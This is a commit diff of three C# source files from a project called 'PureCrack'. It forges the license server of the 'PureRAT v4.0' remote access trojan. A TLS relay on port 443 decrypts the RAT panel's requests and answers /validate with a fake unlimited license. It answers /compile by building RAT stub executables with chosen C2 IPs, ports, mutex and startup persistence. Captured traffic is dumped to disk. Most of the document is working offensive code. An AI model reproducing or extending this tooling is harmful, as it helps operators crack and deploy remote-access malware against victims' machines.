initial commit

This commit is contained in:
i2p
2026-08-27 10:56:38 -06:00
commit 2e2fbbdb3c
4538 changed files with 820183 additions and 0 deletions
@@ -0,0 +1,80 @@
using System;
using System.IO;
using System.Text;
using PureCrack.Util;
using PureCrack.Wire;
namespace PureCrack.Relay;
public static class CaptureWriter
{
public static string Dump(string path, byte[] rawBody, byte[]? plaintext)
{
string text = DateTime.Now.ToString("yyyyMMdd_HHmmss");
string text2 = SanitizePathForFilename(path);
string text3 = Path.Combine(Workspace.CapturesDir, text + "_" + text2);
File.WriteAllBytes(text3 + ".raw.bin", rawBody);
if (plaintext != null)
{
File.WriteAllBytes(text3 + ".pt.bin", plaintext);
File.WriteAllText(text3 + ".pt.txt", BuildPrettyDump(path, plaintext), Encoding.UTF8);
}
return text3;
}
private static string BuildPrettyDump(string path, byte[] pt)
{
StringBuilder stringBuilder = new StringBuilder(pt.Length * 4);
stringBuilder.Append("URL: ").Append(path).Append('\n');
stringBuilder.Append("Decrypted ").Append(pt.Length).Append(" bytes\n\nHEX:\n");
for (int i = 0; i < pt.Length; i += 32)
{
int num = Math.Min(32, pt.Length - i);
stringBuilder.Append(i.ToString("x4")).Append(" ");
for (int j = 0; j < num; j++)
{
stringBuilder.Append(pt[i + j].ToString("x2")).Append(' ');
}
for (int k = num; k < 32; k++)
{
stringBuilder.Append(" ");
}
stringBuilder.Append(" |");
for (int l = 0; l < num; l++)
{
byte b = pt[i + l];
stringBuilder.Append((char)((b >= 32 && b < 127) ? b : 46));
}
stringBuilder.Append("|\n");
}
stringBuilder.Append("\nPROTOBUF TREE:\n");
try
{
stringBuilder.Append(ProtoNet.Dump(pt));
}
catch (Exception ex)
{
stringBuilder.Append("<parse err: ").Append(ex.Message).Append(">\n");
}
return stringBuilder.ToString();
}
private static string SanitizePathForFilename(string path)
{
string text = path.Replace('/', '_').Trim(new char[1] { '_' });
char[] invalidFileNameChars = Path.GetInvalidFileNameChars();
foreach (char oldChar in invalidFileNameChars)
{
text = text.Replace(oldChar, '_');
}
if (text.Length == 0)
{
text = "root";
}
if (text.Length > 80)
{
text = text.Substring(0, 80);
}
return text;
}
}
@@ -0,0 +1,173 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using PureCrack.Build;
using PureCrack.Util;
using PureCrack.Wire;
namespace PureCrack.Relay;
public sealed class RouteHandlers
{
private sealed class BuildSettings
{
public List<string> Ips { get; init; } = new List<string>();
public List<int> Ports { get; init; } = new List<int>();
public string? CertBase64 { get; init; }
public string? Group { get; init; }
public string? PanelPfxBase64 { get; init; }
public string? StartupName { get; init; }
public string? StartupEnv { get; init; }
public string? Mutex { get; init; }
}
private readonly byte[] _cannedCompile;
public byte[] ValidatePb { get; }
public RouteHandlers(byte[] agentPfxBytes, byte[] cannedCompileResponse)
{
ValidatePb = BuildValidateResponse(agentPfxBytes);
_cannedCompile = cannedCompileResponse;
}
private static byte[] BuildValidateResponse(byte[] agentPfxBytes)
{
string s = Convert.ToBase64String(agentPfxBytes);
byte[] body = ProtoNet.FSub(7, ProtoNet.FString(2, s));
byte[] body2 = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FString(3, ""), ProtoNet.FString(5, ""), ProtoNet.FString(7, "PureRAT v4.0 - any-key mode"), ProtoNet.FString(9, "Welcome!"), ProtoNet.FSub(10, body), ProtoNet.FString(11, "HWID Changes: 1 of 9999 used"), ProtoNet.FString(12, ""), ProtoNet.FString(13, "Expires in 9999 days"));
return ProtoNet.FSub(2, body2);
}
public byte[] Compile(byte[]? plaintext, bool dynamicBuildEnabled)
{
if (plaintext != null && dynamicBuildEnabled)
{
try
{
byte[] array = BuildDynamic(plaintext);
if (array != null)
{
return array;
}
}
catch (Exception ex)
{
Log.Err("dyn-build failed: " + ex.Message);
}
Log.Warn("falling back to canned /compile response");
}
return _cannedCompile;
}
private static byte[]? BuildDynamic(byte[] plaintext)
{
BuildSettings buildSettings = ExtractBuildSettings(plaintext);
if (buildSettings.Ips.Count == 0 || buildSettings.Ports.Count == 0)
{
Log.Warn("dyn-build: panel did not include IPs/Ports — using canned");
return null;
}
string text = ((!string.IsNullOrEmpty(buildSettings.PanelPfxBase64)) ? buildSettings.PanelPfxBase64 : buildSettings.CertBase64);
BuildConfig buildConfig = new BuildConfig
{
Ips = buildSettings.Ips,
Ports = buildSettings.Ports,
CertPfxBase64 = (text ?? ""),
Group = (buildSettings.Group ?? "Default"),
Mutex = (buildSettings.Mutex ?? "purecrack-default"),
StartupName = (buildSettings.StartupName ?? ""),
StartupEnv = (buildSettings.StartupEnv ?? "")
};
Log.Info("dyn-build: ips=[" + string.Join(",", buildConfig.Ips) + "] ports=[" + string.Join(",", buildConfig.Ports) + "] group=" + buildConfig.Group + " mutex=" + buildConfig.Mutex);
byte[] array = StubBuilder.Build(buildConfig);
string arg = DateTime.Now.ToString("yyyyMMdd_HHmmss");
string text2 = Path.Combine(Workspace.StubsDir, $"stub_{arg}_{Process.GetCurrentProcess().Id}.exe");
File.WriteAllBytes(text2, array);
Log.Ok($"dyn-build: wrote {array.Length:N0}b stub to {text2}");
byte[] body = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FBytes(3, array), ProtoNet.FString(5, ""), ProtoNet.FInt(6, 1L));
return ProtoNet.FSub(4, body);
}
private static BuildSettings ExtractBuildSettings(byte[] plaintext)
{
BuildSettings result = new BuildSettings();
try
{
byte[] array = ProtoNet.FirstSub(ProtoNet.Parse(plaintext), 3);
if (array == null)
{
return result;
}
byte[] array2 = ProtoNet.FirstSub(ProtoNet.Parse(array), 5);
if (array2 == null)
{
return result;
}
byte[] array3 = ProtoNet.FirstSub(ProtoNet.Parse(array2), 9);
if (array3 == null)
{
return result;
}
Dictionary<int, List<ProtoValue>> parsed = ProtoNet.Parse(array3);
return new BuildSettings
{
Ips = ProtoNet.GetStrings(parsed, 1),
Ports = ConvertToInts(ProtoNet.GetInts(parsed, 2)),
CertBase64 = ProtoNet.FirstString(parsed, 3),
Group = ProtoNet.FirstString(parsed, 4, "Default"),
PanelPfxBase64 = ProtoNet.FirstString(parsed, 10),
StartupName = ProtoNet.FirstString(parsed, 11),
StartupEnv = ProtoNet.FirstString(parsed, 12),
Mutex = ProtoNet.FirstString(parsed, 14, "purecrack-default")
};
}
catch (Exception ex)
{
Log.Warn("extract: parse err: " + ex.Message);
return result;
}
}
private static List<int> ConvertToInts(List<long> longs)
{
List<int> list = new List<int>(longs.Count);
foreach (long @long in longs)
{
list.Add((int)@long);
}
return list;
}
public static byte[] AckResponse()
{
return ProtoNet.FSub(2, ProtoNet.FInt(1, 1L));
}
private static byte[] Concat(params byte[][] chunks)
{
int num = 0;
byte[][] array = chunks;
foreach (byte[] array2 in array)
{
num += array2.Length;
}
byte[] array3 = new byte[num];
int num2 = 0;
array = chunks;
foreach (byte[] array4 in array)
{
Buffer.BlockCopy(array4, 0, array3, num2, array4.Length);
num2 += array4.Length;
}
return array3;
}
}
@@ -0,0 +1,289 @@
using System;
using System.IO;
using System.Net;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
using PureCrack.Crypto;
using PureCrack.Util;
namespace PureCrack.Relay;
public sealed class TlsRelay : IDisposable
{
private readonly X509Certificate2 _serverCert;
private readonly RouteHandlers _routes;
private readonly TcpListener _listener;
private readonly CancellationTokenSource _cts;
private Thread? _acceptThread;
private int _requestCount;
public const int DefaultPort = 443;
private const int MaxBodyBytes = 16777216;
public bool DynamicBuildEnabled { get; set; } = true;
public TlsRelay(X509Certificate2 serverCert, RouteHandlers routes, IPAddress? bindAddress = null, int port = 443)
{
_serverCert = serverCert ?? throw new ArgumentNullException("serverCert");
_routes = routes ?? throw new ArgumentNullException("routes");
_listener = new TcpListener(bindAddress ?? IPAddress.Any, port);
_cts = new CancellationTokenSource();
}
public void Start()
{
if (_acceptThread == null)
{
_listener.Start();
Log.Ok($"relay LISTEN on {_listener.LocalEndpoint}");
_acceptThread = new Thread(AcceptLoop)
{
IsBackground = true,
Name = "TlsRelay-accept"
};
_acceptThread.Start();
}
}
public void Stop()
{
if (!_cts.IsCancellationRequested)
{
_cts.Cancel();
try
{
_listener.Stop();
}
catch
{
}
_acceptThread?.Join(TimeSpan.FromSeconds(2.0));
Log.Info("relay stopped");
}
}
public void Dispose()
{
Stop();
_cts.Dispose();
_serverCert.Dispose();
}
private void AcceptLoop()
{
while (!_cts.IsCancellationRequested)
{
TcpClient state;
try
{
state = _listener.AcceptTcpClient();
}
catch (SocketException) when (_cts.IsCancellationRequested)
{
break;
}
catch (ObjectDisposedException)
{
break;
}
catch (Exception ex3)
{
Log.Err("accept: " + ex3.Message);
continue;
}
ThreadPool.QueueUserWorkItem(delegate(object obj)
{
HandleConnection((TcpClient)obj);
}, state);
}
}
private void HandleConnection(TcpClient client)
{
int num = Interlocked.Increment(ref _requestCount);
string arg = client.Client.RemoteEndPoint?.ToString() ?? "?";
Log.Section($"#{num} from {arg}");
try
{
client.ReceiveTimeout = 15000;
client.SendTimeout = 15000;
using SslStream sslStream = new SslStream(client.GetStream(), leaveInnerStreamOpen: false);
try
{
sslStream.AuthenticateAsServer(_serverCert, clientCertificateRequired: false, SslProtocols.Tls12, checkCertificateRevocation: false);
}
catch (Exception ex)
{
Log.Warn("TLS handshake failed: " + ex.Message);
return;
}
var (text, array) = ReadHttpRequest(sslStream);
Log.Bullet("path: " + text);
Log.Bullet($"body: {array.Length}b");
byte[] array2 = TryDecrypt(array);
if (array2 != null)
{
Log.Bullet($"decrypt OK: {array2.Length}b");
}
string path = CaptureWriter.Dump(text, array, array2);
Log.Bullet("dumped: " + Path.GetFileName(path));
var (array3, text2) = Route(text, array2);
Log.Bullet($"resp: {text2} ({array3.Length}b)");
SendResponse(sslStream, array3);
Log.Ok("sent " + text2);
}
catch (Exception ex2)
{
Log.Err("handler: " + ex2.Message);
}
finally
{
try
{
client.Close();
}
catch
{
}
}
}
private static (string path, byte[] body) ReadHttpRequest(Stream s)
{
using MemoryStream memoryStream = new MemoryStream();
byte[] array = new byte[4096];
int num;
for (num = -1; num < 0; num = FindHeaderEnd(memoryStream.GetBuffer(), (int)memoryStream.Length))
{
int num2 = s.Read(array, 0, array.Length);
if (num2 <= 0)
{
break;
}
memoryStream.Write(array, 0, num2);
if (memoryStream.Length > 65536)
{
throw new InvalidOperationException("HTTP headers exceed 64 KB");
}
}
if (num < 0)
{
throw new InvalidOperationException("HTTP request truncated before \\r\\n\\r\\n");
}
byte[] array2 = new byte[num];
Buffer.BlockCopy(memoryStream.GetBuffer(), 0, array2, 0, num);
string text = Encoding.UTF8.GetString(array2);
int result = 0;
string item = "/";
string[] array3 = text.Split(new string[1] { "\r\n" }, StringSplitOptions.None);
foreach (string text2 in array3)
{
if (text2.StartsWith("POST ", StringComparison.Ordinal) || text2.StartsWith("GET ", StringComparison.Ordinal))
{
string[] array4 = text2.Split(new char[1] { ' ' });
if (array4.Length >= 2)
{
item = array4[1];
}
}
else if (text2.StartsWith("Content-Length:", StringComparison.OrdinalIgnoreCase))
{
int.TryParse(text2.Substring("Content-Length:".Length).Trim(), out result);
}
}
if (result < 0 || result > 16777216)
{
throw new InvalidOperationException($"refusing body of size {result}");
}
int num3 = num + 4;
int num4 = (int)memoryStream.Length - num3;
byte[] array5 = new byte[result];
if (num4 > 0)
{
int num5 = Math.Min(num4, result);
Buffer.BlockCopy(memoryStream.GetBuffer(), num3, array5, 0, num5);
num4 = num5;
}
int j;
int num6;
for (j = Math.Max(0, num4); j < result; j += num6)
{
num6 = s.Read(array5, j, result - j);
if (num6 <= 0)
{
break;
}
}
if (j < result)
{
Log.Warn($"body truncated: got {j} of {result}");
}
return (path: item, body: array5);
}
private static int FindHeaderEnd(byte[] buf, int len)
{
for (int i = 0; i <= len - 4; i++)
{
if (buf[i] == 13 && buf[i + 1] == 10 && buf[i + 2] == 13 && buf[i + 3] == 10)
{
return i;
}
}
return -1;
}
private static byte[]? TryDecrypt(byte[] body)
{
if (body.Length < 32)
{
return null;
}
try
{
return Symmetric.AesDecryptFraming(body);
}
catch (Exception ex)
{
Log.Warn("decrypt err: " + ex.Message);
return null;
}
}
private (byte[] body, string label) Route(string path, byte[]? plaintext)
{
if (path.IndexOf("/validate", StringComparison.OrdinalIgnoreCase) >= 0)
{
return (body: _routes.ValidatePb, label: "validate");
}
if (path.IndexOf("/compile", StringComparison.OrdinalIgnoreCase) >= 0)
{
return (body: _routes.Compile(plaintext, DynamicBuildEnabled), label: (plaintext != null && DynamicBuildEnabled) ? "compile-dynamic" : "compile-canned");
}
if (path.IndexOf("/heartbeat", StringComparison.OrdinalIgnoreCase) >= 0 || path.IndexOf("/update-plugins", StringComparison.OrdinalIgnoreCase) >= 0)
{
return (body: RouteHandlers.AckResponse(), label: "ack");
}
return (body: _routes.ValidatePb, label: "fallback-validate");
}
private static void SendResponse(Stream s, byte[] responsePb)
{
byte[] array = Symmetric.AesEncryptFraming(responsePb);
string s2 = "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\n" + $"Content-Length: {array.Length}\r\n" + "Connection: close\r\n\r\n";
byte[] bytes = Encoding.ASCII.GetBytes(s2);
s.Write(bytes, 0, bytes.Length);
s.Write(array, 0, array.Length);
s.Flush();
}
}